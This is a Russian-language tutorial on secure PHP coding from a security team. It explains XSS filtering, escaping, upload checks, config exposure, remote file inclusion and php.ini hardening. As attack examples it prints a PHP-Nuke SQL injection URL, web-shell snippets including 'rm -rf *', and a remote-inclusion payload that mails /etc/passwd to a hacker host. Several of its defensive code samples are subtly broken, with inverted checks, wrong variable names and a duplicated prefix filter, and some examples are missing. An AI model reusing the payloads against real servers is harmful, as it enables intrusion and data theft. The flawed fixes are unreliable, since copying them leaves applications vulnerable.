Основы безопасного програмирования на PHP
Цель данной статьи, показать некоторые приемы защиты при написании скриптов на PHP и показать на примерах,
как и из-за чего становится возможен взлом того или иного веб-приложения. Часто бывает так, что программист
при написании своего веб-приложения (типа www-чат, форум, гостевая книга и т.д.) не задумывается над тем, а
что будет если... Даже, казалась бы незначительная ошибка в коде, может привести к катастрофическим
последствиям. На мой взгляд главная задача программиста состоит не только в том, что бы приложение
работало, но и максимально обезопасить его от возможных ошибок. Допустим, в приложении есть форма
передающая некоторые данные,которые записываются в файл и потом выводятся, например в гостевой книге.
Первое, что необходимо сделать, это тщательным образом отфильтровать все данные пришедшие из формы.
Никогда нельзя доверять входящим данным!
Например: в форме есть поле e-mail, где данные не фильтруются.
Злоумышленник может вставить в это поле произвольный код типа
и все кто зайдут на страницу гостевой книги, увидят
сообщение "Hacked site",согласитесь неприятный момент для хозяина сайта.Запретим пользователю в этом поле
писать, что-либо кроме почтового адреса, воспользуемся для этого функцией preg_match, функция ищет в строке
совпадение для шаблона: если совпадение найдено-возвращается TRUE(истина), если нет- FALSE(ложь).
if (preg_match("/^[a-z0-9_-]{1,20}@(([a-z0-9-]+\.)+(com|net|org|mil|edu|gov|ru|info|biz|inc|"."name|[a-z]{2})|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})$/is",$mail))
{
print "Ok, почтовый адрес введен верно";
}else{
print "Адрес введен не верно";
}
этот пример проверяет лишь правильность написания адреса, но не его существование :)
В другом поле, ну скажем где пользователь, вводит свой ник, запрещаем любые символы кроме букв русского и
латинского алфавита, и разрешим еще символ "_"
if (eregi("[^a-za-я0-9_]",$nick)) {
print "Ok";
}else{
print "ник содержит недопустимые символы";
}
В поле, где пользователь вводит само сообщение, тоже отфильтруем данные. Тут важно определить с самого
начала, что вы хотите разрешить для пользовательского ввода. Например, если вы хотите разрешить в теле
сообщения некоторые теги html, то используйте функцию strip_tags. Разрешим использовать теги
$string = strip_tags($string, "");
Либо заменим в переменной потенциально опасные символы эквивалентными конструкциями HTML.
Функцию htmlspecialchars() использовать с параметром ENT_QUOTES
Функция заменяет некоторые символы, имеющие особый смысл в контексте HTML, эквивалентными конструкциями.
& амперсанд преобразуется в "&"
" двойные кавычки преобразуются в """ только когда неустановлен ENT_QUOTES
' одинарная кавычка преобразуется в "'" только когда установлен ENT_QUOTES
< преобразуется в "<"
> преобразуется в ">"
пример использования
$string = htmlspecialchars($tring, ENT_QUOTES);
Если правила фильтрации для всех полей одинаковые, то можно проверить все входящие данные из формы,
например таким способом:
foreach($_POST as $key => $value) {
$value=trim($value);
if (get_magic_quotes_gpc()) $value = stripslashes($value);
$value=htmlspecialchars($value,ENT_QUOTES);
$_POST[$key]=$value;
$value=str_replace("\r","",$value);
$value=str_replace("\n","
",$value);
$$key=$value;
}
Можно защитить переменную от опасных символов ("прослешить") таким образом
$string=addslashes($string);
Функция addslashes() возвращает строку со знаками обратной косой черты \ перед символами, которые должны
быть заключены в кавычки, в запросах к базам данных и т.д., к таким символам относятся:
однарная кавычка
двойная кавычка
обратная косая черта
NUL(нулевой байт)
Чем чревато не экранирование таких символов:
Например, в движке сайта PHP-NUKE в файле auth.php отсутствовала проверка переменной $aid содержащей логин
для авторизации пользователя. Используя одинарную кавычку можно было перенаправить вывод в произвольный
файл на сервере. Строка запроса
www.server.ru/admin.php?op=login&pwd=123&aid=Admin'%20INTO%20OUTFILE%20'/path_to_file/pwd.txt
делала возможным создание файла /path_to_file/pwd.txt содержащего зашифрованный пароль для логина "Admin".
Можно включить в php.ini опцию magic_quotes_gpc=On , она будет автоматически экранировать, обратной косой
чертой все потенциально опасные символы (например, апострофы и кавычки).
Если ваше приложение добавляет данные в файл при включеном в php.ini magic_quotes_gpc,то слеши будут
автоматически добавляться к данным полученым из POST, GET запросов и кук
Удалить слеши можно функцией stripslashes().
Пример:
$string=stripslashes($string);
Если в php.ini включена опция register_globals=On (означает, что регистрируются глобальные переменные) и вы
используете в вашем приложении глобальные переменные, то можно избавиться от слешей таким образом:
if (get_magic_quotes_gpc()) strips($GLOBALS);
function strips(&$str) {
if (is_array($str)) {
foreach($str as $k=>$v) {
if($k!='GLOBALS') {
strips($str[$k]);
}
}
} else {
$str = stripslashes($str);
}
}
Чтобы избавиться от добавления слешей скажем при получении данных из файла, вставьте в начало скрипта
set_magic_quotes_runtime(0);
Если, ваше веб-приложение (гостевая книга, форум, веб-чат...), записывает данные, переданные
пользователями, то лучше установить блокировку на файл, куда записываются данные. Представьте себе, что
одновременно 10 человек пытаются оставить свое сообщение, произойдет нарушение целостности файла с данными.
Избежать этого поможет функция flock(), функция устанавливает блокировку на предварительно открытый файл.
Можно использовать функцию с ключами:
LOCK_SH разрешает читать заблокированый файл
LOCK_EX устанавливает полную блокировку файла
LOCKUN снимает блокировку
пример:
$file=fopen("bd.dat","ab+");
if ($file && flock($w_file,LOCK_EX)) {
fputs($file,"test\n") or die("запись в файл невозможна");
}
fclose($file);
Другой немаловажный момент.
Допустим поля формы, где пользователь вводит ник и email, ограничены чем то вроде
Злоумышленник может скачать документ с формой ввода и подправить
параметр maxlength. Чтобы этого не произошло, установим где-нибудь в самом начале скрипта, обрабатывающего
данные, проверку переменной окружения web-сервера HTTP-REFERER (проверив с родного ли хоста пришли данные).
$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.server.ru")) {
print "данные пришедшие не с моего сервера запрещены к приему";
exit;
}
Правда переменная HTTP_REFERER формируется браузером и злоумышленник может, например зайти телнетом на 80
порт и сформировать запрос. Защита не бог весть-какая, но дилетанта остановит. Если требуется более сильная
защита лучше воспользоваться сессиями. При заходе на страницу с формой отправки, юзеру присваивается
уникальный идентификатор (число 128 бит, которое невозможно подделать). Потом организовать передачу
идентификатора через сессии либо через куки, либо через URL. Если идентификатор не найден в URL
(GET-запрос) или в POST-запросе и не найден в куках (или не совпадает с настоящим), то извините - вы хакер,
и данные от вас не принимаются :) Правда, всегда нужно стараться найти золотую середину между удобством
использования вашего приложения и его защитой.Если перестараться с ограничениями, всевозможными защитами и
блокировками, то вряд ли пользователю захочется посетить ваш сайт еще раз.
Так же необходима защита вашего веб-приложения от флуда, методом частых вызовов php-файлов. Во-первых
кто-то, может забить своими сообщениями ту-же гостевую книгу, во-вторых это создает лишний трафик и
нагрузку на сервер. Как решение проблемы можно написать модуль, ограничивающий обращение к php-скрипту
N-раз в N-времени с одного ip-адреса и подключать его к вашему скрипту функцией include() или require().
include "script_name.php";
PHP может принимать файлы, загруженные из любого браузера, отвечающего стандартам RFC-1867 (например,
Netscape Navigator или Microsoft Internet Explorer). Если вы решили написать и использовать скрипт, который
позволяет юзерам закачивать на сервер какие-либо файлы, то примите все меры предосторожности, что бы не
создать проблем на сервере. Убедитесь, что принятый файл будет правильно обработан и сохранен. Обязательно
проверяйте тип, размер принимаемого файла. И присваивайте файлу новое имя. Представьте себе, что в скрипте
нет проверки на тип принимаемого файла и программа после приема выводит файл в браузер. А злобный хакер
закачал файл cmd.php следующего содержания:
passthru("cd ./; ls -la"); ?> и вызвал скрипт браузером http://www.server.ru/cmd.php
Становиться возможен, просмотр листинга корневого каталога. Или еще "лучше", файл exec("rm -rf *"); ?>
удалит родительский каталог и все его подкаталоги. Избежать такого развития ситуации поможет функция
escapeshellcmd(), экранирует все потенциально опасные символы при выполнении команд exec(), passthru(),
system(), popen() пример использования функции:
$userinput="rm -rf *";
$string = escapeshellcmd($userinput);
system("print $string");
Еще одна плохая идея-хранить конфигурационные файлы в каталоге с www-документами. Допустим ваш
конфигурационный файл имеет расширение "inc", например config.inc и содержит помимо других данных, строки
user:Mickl
password:qwerty
При каком-нибудь сбое программы появится сообщение о ошибке типа
Parse error: parse error in ./home/user/www/config.inc
Естественно хакер попытается открыть этот файл http://www.server.ru/config.inc и если вдруг окажется, что
сервер сконфигурирован таким образом, что файлы типа *.inc он трактует как текстовые, то файл config.inc
будет отображен(прочитан) в браузере. Лучше конфиг-файлы хранить выше корня сайта, там - куда нет доступа
браузером. Если по каким то причинам, у вас нет доступа выше корня сайта, то создайте отдельный каталог для
таких конфиг-файлов и закройте доступ к нему файлом .htaccess с таким содержанием:
order allow,deny
deny from all
Старайтесь писать ваши приложения, не зависящими от настроек сервера.
Еще маленькая тонкость. Подумайте над тем, что будет, если пользователь в сообщение вставит очень длинную
строку без разрывов типа ААААА *256 ААААААА, страшного ничего конечно не произойдет, но вот дизайн той же
гостевой или форума разъедется по швам основательно. Что можно сделать в этом случае? Просто разделите
данные из переменной пробелами,например по 50 символов, вряд ли вы умудритесь составить нормальное слово
длиннее 50 символов.
function bigword($string) {
$s=str_replace("\\\"","\"",$string);
return " ".wordwrap($message,51," ",1)." ";
}
Почему становится возможен межсайтовый скриптинг и как это выглядит.
Язык PHP мощный и в то же время простой. Для облегчения работы программиста,разработчиками PHP, функции
fopen(), file(), include(), readfile()... написаны таким образом, что програмисту нет необходимости
открывать сокет и т.д. например, для чтения файла с удаленного сервера. Хотя в PHP есть функции
предназначенные именно для этого socket(), fsockopen(), pfsockopen() позволяющие устанавливать связь с
различными службами другого компьютера через протоколы TCP, UDP. Если параметр, передаваемый функции,
начинается с префикса http://, ftp://, то функция сама установит соединение http, ftp с сервером. Если
параметр будет задан в виде php://stdin, php://stdout или php://stderr будет открыт соответствующий
стандартный поток ввода/вывода. Причем возможно не только чтение файла, но и запись в него, при условии
соответствующих прав (chmod) на файл. Например:
$string=fopen("http://www.server.ru/test.txt/", "r"); Функция откроет подключение HTTP к
серверу www.server.ru и возвратит манипулятор файла test.txt,скачает содержимое файла test.txt в переменную
как из обычного файла.
$string=fopen("ftp://login:pass@server.ru/test.txt/", "w"); Функция откроет подключение FTP к серверу
www.server.ru и возвратит манипулятор файла test.txt. Откроет файл www.server.ru/test.txt для записи,если
файл не существует функция будет пытаться создать файл. Если сервер www.server.ru не поддерживает пассивный
режим FTP, работа функции закончится неудачей. Косая черта необходима в конце имени файла из-за того, что
не поддерживается перенаправление!
Пример (код взят из некоего приложения, не знаю о чем и каким местом думал тот программист): страница
index.php генерирует ссылки вида
news
links
файл view.php содержит строки
include "functions.php";
print_file_view($f);
Ну и в файле functions.php есть функция print_file_view($f), отвечающая за вывод информации из файла с
именем f=...
function print_file_view($f) {
$file_array_view=file("$f");
foreach ($file_array_view as $k=>$line) {
print $line."
";
}
}
При клике по ссылке news файл view.php выдаст содержимое файла news. На
первый взгляд все нормально. Функция file() загружает все содержимое в индексируемый массив (каждый элемент
массива соответствует одной строке файла), foreach() возвращает пару "ключ/значение" и перемещает указатель
к следующему элементу, print возвращает значение $line Но ... функция file не проверяет существует ли файл!
И если в запросе передать значение $f отличное от news (например: http://www.server.ru/view.php?f=blabla,
то произойдет сбой программы (так как файл blabla не существует). И будет выведено сообщение о ошибке:
Warning: file("blabla") - No such file or directory in ./home/user/www/functions.php on line 3
Warning: Invalid argument supplied for foreach() in ./home/user/www/functions.php on line 4
Разумеется если в php.ini включена директива display_errors =On (что чаще всего и бывает) На мой взгляд
логичнее отключить вывод ошибок, и включить директиву записи ошибок в лог-файл сервера.
display_errors =Off
log_errors=On
В результате такого запроса, становится известен путь к скрипту и имя файла. Если нет доступа к php.ini,
можно добавить в начало скрипта строку error_reporting(0); это подавит вывод ошибок.
Но ... надо не подавлять ошибки, а писать код без ошибок!
Если нет доступа к http.conf и к php.ini, например вы простой клиент хостинга, все равно можно создать
разные настройки для страниц, расположеных в разных каталогах, но принадлежащих одному приложению. С
помощью файла .htaccess Допустим директива вывода ошибок на сервере отключена display_errors =Off, а вам
надо отладить свое приложение и включить вывод ошибок, то в файле .htaccess напишите следующие строки:
php_value error_reporting 2039
php_flag log_error off
php_flag display errors on
error_reporting обязательно устанавливайте только в виде числового значения, а не с помощью константы!
Теперь у вас свои настройки (независящие от настроек сервера) для каталога, где находится файл .htaccess ,
только не забывайте, что скорость работы программы замедляется из-за обращение к .htaccess
Дальше, хакер может на своем сайте www.hacker_site.ru создать файл cmd.txt с таким содержимым
passthru("cd /etc; cat /etc/passwd"); ?> или
passthru("cd /etc; cat > /etc/passwd | mail hacker@hacker_site.ru"); ?>
И заставить уязвимый скрипт таким запросом
http://www.server.ru/view.php?f=http://hacker_site.ru/cmd.txt
либо вывести в браузер содержание файла /etc/passwd с сервера, где находится уязвимый скрипт или отправить
/etc/passwd себе на e-mail.
Это не в коей мере нельзя считать уязвимостью PHP, это ошибка программирования !
Можно запретить открывать URL через файловые функции в php.ini опцией
allow_url_fopen=Off
Если доступ к настройкам php отсутствует (вы просто клиент хостинга), то создайте в корне своего сайта файл
.htaccess с содержанием php_value allow_url_fopen 0 правда это несколько замедлит работу программы, т.к.
при каждом вызове *.php скриптов будет происходить обращение к файлу .htaccess
Но как известно - БЕЗОПАСНОСТИ МНОГО НЕ БЫВАЕТ!
Так же необходимо вырезать из переменной все префиксы http://, ftp:// функцией str_replace() :
$string=str_replace("http://","",$string);
$string=str_replace("ftp://","",$string);
Причем самое смешное состоит в том, что включение безопасного режима safe_mode=On не решает проблемы,
функции продолжают исправно фунциклировать!
И так - исправим уязвимую функцию function print_file_view($f)
Добавим в код проверку на существование файла и принудительно добавим расширение ".dat" к к переменной $f.
Почему расширение ".dat"? Потому, что вряд ли удастся найти сервер, который будет трактовать файлы "*.dat"
как текстовые. И вырежем из переменной все префиксы http://, ftp://, если таковые в ней случайно! появятся
:)
$f=str_replace("http://","",$f);
$f=str_replace("http://","",$f);
if (is_file($f.".dat")) {
$file_array_view=file($f.".dat");
foreach ($file_array_view as $k=>$line) {
print $line."
";
}
}else print "ERROR 404 document not found";
Функция is_file() проверяет существование заданного файла и возможность выполнения с ним операций
"чтения/записи". Теперь запрос вида http://www.server.ru/view.php?f=blabla не даст никакой информации
злоумышленнику, будет выведено сообщение, что файл не существует "ERROR 404 document not found".
Cписок некоторых директив php.ini, которые имеет смысл настроить для комфортной и безопасной работы с PHP.
magic_quotes_gpc если включена, автоматически добавляет слеши к данным пришедшим от пользователя - из POST,
GET запросов и кук.
magic_quotes_runtime если включена, автоматически добавляет слеши к данным, полученным во время исполнения
скрипта - например, из файла или базы данных.
register_globals если включена, переменные GET, POST, Cookie, Server будут регистрироваться как глобальные
переменные. Если директива выключена, то глобальный доступ можно получить через массивы $HTTP_ENV_VARS,
$HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS
track_vars если разрешена, то глобальные переменные GET, POST, Cookie, Server всегда будут находиться в
глобальных массивах $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS
allow_url_fopen если включена, позволяет обращаться с объектами URL как с файлами (по умолчанию включена!),
есть смысл отключить данную директиву, если не планируете работать с удаленными файлами. Зачем облегчать
хакерам жизнь? :) Присутствует только в версиях PHP выше 4.0.3 , до версии 4.0.3(включительно) можно лишь
запретить во время компиляции PHP --disable-url-fopen-wrapper
upload_tmp_dir указывает на временный каталог для хранения файлов, загруженых с сервера.
safe_mode включить\выключить безопасный режим для PHP
safe_mode_exec_dir если включен безопасный режим, то функции, которые исполняют системные программы (типа
system, exec...) не будут работать вне этого каталога.
enable_dl Лучше отключить!!! Необходима лишь когда PHP стоит как модуль Apache. С помощью функции dl()
можно включать и отключать динамическую загрузку расширений PHP через виртуальный сервер или каталог. При
помощи динамической загрузки можно обойти запреты в safe_mode и open_base_dir. По умолчанию всегда
разрешена! За исключением safe_mode.
display_errors если включена, показывает на экране ошибки как часть вывода HTML
error_log название файла, куда записываются програмные ошибки
error_reporting устанавливает степень подробности ошибок, значение должно быть числовое.
ignore_user_abort (по умолчанию разрешено). При запрете данной директивы, программа будет завершена, если
пользователь завершит соединение с программой. Лучше выключить, так как юзер может написать 2 скрипта, с
такой строкой в каждом скрипте ignore_user_abort(0): по истечении N-времени, 1 скрипт запустит второй,
потом второй
запустит первый. Получается, что-то типа крона, будут кушаться системные ресурсы :)
include_path определяет список каталогов, в которых функции include(), require(),
fopen_with_path() проводят поиск файлов. По умолчанию установлена в "." (только в этом
каталоге). В UNIX каталоги в списке разделяются двоеточием, в Win точкой с запятой.
max_execution_time устанавливает максимальное время в секундах, отпущеных для работы скрипта по умолчанию -
30 секунд.
memory_limit устанавливает максимальный объем памяти (в байтах), который можно использовать программе и не
позволяет кривым скриптам использовать весь объем памяти сервера.
Ну вот, пожалуй и все, в одной статье просто невозможно охватить все аспекты. Я надеюсь, что время
затраченное на написание данной статьи, не пропадет даром и ваши веб-приложения станут более защищенными от
взлома. Не забывайте о тех пользователях, которые будут использовать ваши скрипты на своих сайтах!
Автор: dinggo
---------------------------------------
RusH security team - http://rst.void.ru